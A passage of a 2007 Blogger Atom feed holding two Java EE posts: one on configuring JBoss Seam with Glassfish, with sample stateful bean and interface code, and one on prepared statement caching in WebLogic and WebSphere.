/&gt;&amp;lt;transaction:ejb-transaction/&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;The above lines tell seam how to locate its EntityManager.&lt;/p&gt; &lt;p&gt;(TIP: &lt;span style="font-size:100%;"&gt;managed-persistence-context name in the xml and the variable name used for EntityManager should be same)&lt;/span&gt;&lt;/p&gt; &lt;p&gt;5) @Remove is needed by StateFull bean, @Destroy is needed for managing seam conversations&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;&lt;b&gt;Sample {entity}Home.&lt;/b&gt; (&lt;span style="font-size:78%;"&gt;TIP : @ PersistenceUnit is needed for each ejb. I have't yet figured how to make it a global declaration. If you are using Hibernate JPA the following line has to be added to the persistence.xml &lt;property name="jboss.entity.manager.factory.jndi.name" value="java:comp/env/JPayroll-ejbPU"&gt; )&lt;/property&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:78%;"&gt;@Name("currencyHome")&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;a name="DDE_LINK3"&gt;&lt;/a&gt;&lt;span style="font-size:78%;"&gt;@PersistenceUnit(name="JPayroll-ejbPU", unitName="JPayroll-ejbPU")&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:78%;"&gt;@Stateful&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:78%;"&gt;public class CurrencyHome extends EntityHome&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:78%;"&gt;@In EntityManager em;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:78%;"&gt;public void setCurrencyId(Long id) {&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:78%;"&gt;setId(id);&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:78%;"&gt;}&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:78%;"&gt;public Long getCurrencyId() {&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:78%;"&gt;return (Long) getId();&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:78%;"&gt;}&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:78%;"&gt;@Override&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:78%;"&gt;protected Currency createInstance() {&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:78%;"&gt;Currency currency = new Currency();&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:78%;"&gt;return currency;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:78%;"&gt;}&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:78%;"&gt;public void wire() {}&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:78%;"&gt;public boolean isWired() {return true;}&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:78%;"&gt;public Currency getDefinedInstance() {&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:78%;"&gt;return isIdDefined() ? getInstance() : null;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:78%;"&gt;}&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:78%;"&gt;@Override&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:78%;"&gt;public EntityManager getEntityManager() {&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:78%;"&gt;return em;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:78%;"&gt;}&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:78%;"&gt;@Remove @Destroy&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:78%;"&gt;public void destroy(){}&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:78%;"&gt;}&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;Sample {Entity}HomeLocal&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:78%;"&gt;public interface CurrencyHomeLocal {&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:78%;"&gt;public void setCurrencyId(Long id);&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:78%;"&gt;public Long getCurrencyId();&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:78%;"&gt;public void wire();&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:78%;"&gt;public boolean isWired();&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:78%;"&gt;public Currency getDefinedInstance();&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:78%;"&gt;public javax.persistence.EntityManager getEntityManager();&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:78%;"&gt;public void destroy();&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:78%;"&gt;public void create();&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:78%;"&gt;public Object getInstance();&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:78%;"&gt;public boolean isManaged();&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:78%;"&gt;public String update();&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:78%;"&gt;}&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:100%;"&gt;Sample {Entity}ListLocal&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:78%;"&gt;public interface CurrencyListLocal {&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:78%;"&gt;public java.lang.String getEjbql();&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:78%;"&gt;public java.lang.Integer getMaxResults();&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:78%;"&gt;public com.blogspot.jkook.jpayroll.entities.Currency getCurrency();&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:78%;"&gt;public void destroy();&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:78%;"&gt;public java.util.List&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:78%;"&gt;public String getOrder();&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:78%;"&gt;public void setOrder(String order);&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:78%;"&gt;public Long getResultCount();&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:78%;"&gt;public Object getSingleResult();&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:78%;"&gt;public boolean isNextExists() ;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:78%;"&gt;public void refresh() ;us&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:78%;"&gt;public void first() ;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:78%;"&gt;public Integer getFirstResult() ;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:78%;"&gt;public Long getLastFirstResult() ;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:78%;"&gt;public int getNextFirstResult();&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:78%;"&gt;public Integer getPageCount();&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:78%;"&gt;public int getPreviousFirstResult();&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:78%;"&gt;public void validate();&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:78%;"&gt;public List getResultList();&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:78%;"&gt;public boolean isPreviousExists();&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:78%;"&gt;public javax.persistence.EntityManager getEntityManager();&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:78%;"&gt;}&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;" align="left"&gt;&lt;a name="DDE_LINK4"&gt;&lt;/a&gt;6) EjbSynchronizations : This is needed for implementing call backs on your transactions. Reference to this has to be provided to Seam. Seam.jar has few ejbs. One of them is  EjbSynchronizations. Add refernece of this ejb in the web.xml.&lt;/p&gt;&lt;span style="font-size:85%;"&gt;&amp;lt;ejb-local-ref&amp;gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&amp;lt;ejb-ref-name&amp;gt;EjbSynchronizations&amp;lt;/ejb-ref-name&amp;gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&amp;lt;ejb-ref-type&amp;gt;Session&amp;lt;/ejb-ref-type&amp;gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&amp;lt;local&amp;gt;org.jboss.seam.transaction.LocalEjbSynchronizations&amp;lt;/local&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&amp;lt;ejb-link&amp;gt;EjbSynchronizations&amp;lt;/ejb-link&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&amp;lt;/ejb-local-ref&amp;gt;&lt;/span&gt; Addtionally you have to declare the ejb in ejb-jar,xml&lt;br /&gt;&lt;p&gt;&lt;span style="font-size:100%;"&gt;Finally a Secret : I stared the exercise with Toplink JPA provider. Ended using Hibernate JPA provider. Apparently Toplink does not support Manual Flush mode. Seam claims to be able to perform better transaction management especially that for seam conversations. The only JPA provider which gives this flexibility is Hibernate &lt;/span&gt; &lt;/p&gt; &lt;p&gt;&lt;span style="font-size:100%;"&gt;End Result &lt;/span&gt; &lt;/p&gt; &lt;p&gt;&lt;span style="font-size:100%;"&gt;I have an enterprise application running on glassfish with following features&lt;/span&gt;&lt;/p&gt; &lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;span style="font-size:100%;"&gt;Supports Create, Update , Delete, List  operations on the {entity}&lt;/span&gt;&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style="font-size:100%;"&gt;Provides Paging, Sorting , Search &lt;/span&gt;  &lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style="font-size:100%;"&gt;Uses StateFull session beans&lt;/span&gt;&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style="font-size:100%;"&gt;Leverages Seam Conversations&lt;/span&gt;&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style="font-size:100%;"&gt;Most of the code is generated&lt;/span&gt;&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style="font-size:100%;"&gt;JSF,Facelets,RichFaces(AJAX)&lt;/span&gt;&lt;/p&gt; &lt;/li&gt;&lt;/ol&gt; &lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="font-size:100%;"&gt;So far experience with seam has been good. With or with out Seam-Gen a developer can built applications quickly. Tools like Netbeans take the whole equation to another level. Following seemingly simple features are still desired from Jboss-SEAM. &lt;/span&gt; &lt;/p&gt; &lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;span style="font-size:100%;"&gt;Good documentation of how to handle nuances of  the popular application servers. &lt;/span&gt;  &lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span style="font-size:100%;"&gt;Seam-Gen generate ejb classes and interfaces. &lt;/span&gt;  &lt;/p&gt; &lt;/li&gt;&lt;/ol&gt; &lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7811313566645564123-6098353332295346286?l=jkook.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Jkook/~4/DhjVVLMgpmc" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://jkook.blogspot.com/feeds/6098353332295346286/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=7811313566645564123&amp;postID=6098353332295346286" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7811313566645564123/posts/default/6098353332295346286?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7811313566645564123/posts/default/6098353332295346286?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Jkook/~3/DhjVVLMgpmc/kooking-seam-with-glassfish.html" title="Kooking Seam with Glassfish" /><author><name>Kiran.Kumar M</name><uri>http://www.blogger.com/profile/01324349914910981544</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/-aaM9szVmAUU/TXHAszd2Y8I/AAAAAAAAAKg/SinXOCC4tc4/s220/100_0305.JPG" /></author><thr:total>0</thr:total><feedburner:origLink>http://jkook.blogspot.com/2007/12/kooking-seam-with-glassfish.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUMFRHo_eSp7ImA9WBFSGUg.&quot;"><id>tag:blogger.com,1999:blog-7811313566645564123.post-576827492108124147</id><published>2007-02-20T12:01:00.001+05:30</published><updated>2007-02-20T12:06:55.441+05:30</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2007-02-20T12:06:55.441+05:30</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="JEE" /><category scheme="http://www.blogger.com/atom/ns#" term="Misc" /><title>Why Prepared Statements are important and how to use them "properly"</title><content type="html">
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/lay4d7JOs9gK7EPhrtSgph74_co/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/lay4d7JOs9gK7EPhrtSgph74_co/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/lay4d7JOs9gK7EPhrtSgph74_co/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/lay4d7JOs9gK7EPhrtSgph74_co/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;Prepared Statement Cache is available as a standard feature of app-server. This feature has to be used judiciously. It work faster only when the particular statements are executed multiple times in the same transaction.&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;br /&gt;&lt;p&gt;&lt;/p&gt; &lt;p&gt;&lt;b&gt;Weblogic &lt;/b&gt;&lt;br /&gt;Cache Prepared and Callable Statements&lt;br /&gt;When you use a prepared statement or callable statement in an application , there is considerable processing overhead for the communication between the application server and the database server and on the database server itself. To minimize the processing costs, WebLogic Server can cache prepared and callable statements used in your applications. When an application  calls any of the statements stored in the cache, WebLogic Server reuses the statement stored in the cache. Reusing prepared and callable statements reduces CPU usage on the database server, improving performance for the current statement and leaving CPU cycles for other tasks.&lt;br /&gt;Using the statement cache can dramatically increase performance, but you must consider its limitations before you decide to use it.&lt;br /&gt;&lt;b&gt;Websphere&lt;/b&gt;&lt;br /&gt;The WebSphere® Application Server data source optimizes processing of prepared statements. It manages a pool of database connections, as well as an associated cache of prepared statement objects. Prepared statements are cached separately for each connection that executes them. &lt;/p&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;p&gt;&lt;a href="http://www.theserverside.com/tt/articles/article.tss?l=Prepared-Statments"&gt;Why Prepared Statements are important and how to use them "properly"&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7811313566645564123-576827492108124147?l=jkook.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Jkook/~4/LzaoMVRkEXc" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://jkook.blogspot.com/feeds/576827492108124147/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=7811313566645564123&amp;postID=576827492108124147" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7811313566645564123/posts/default/576827492108124147?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7811313566645564123/posts/default/576827492108124147?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Jkook/~3/LzaoMVRkEXc/why-prepared-statements-are-important.html" title="Why Prepared Statements are important and how to use them &amp;quot;properly&amp;quot;" /><author><name>Kiran.Kumar M</name><uri>http://www.blogger.com/profile/01324349914910981544</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/-aaM9szVmAUU/TXHAszd2Y8I/AAAAAAAAAKg/SinXOCC4tc4/s220/100_0305.JPG" /></author><thr:total>0</thr:total><feedburner:origLink>http://jkook.blogspot.com/2007/02/why-prepared-statements-are-important.html</feedburner:origLink></entry></feed>

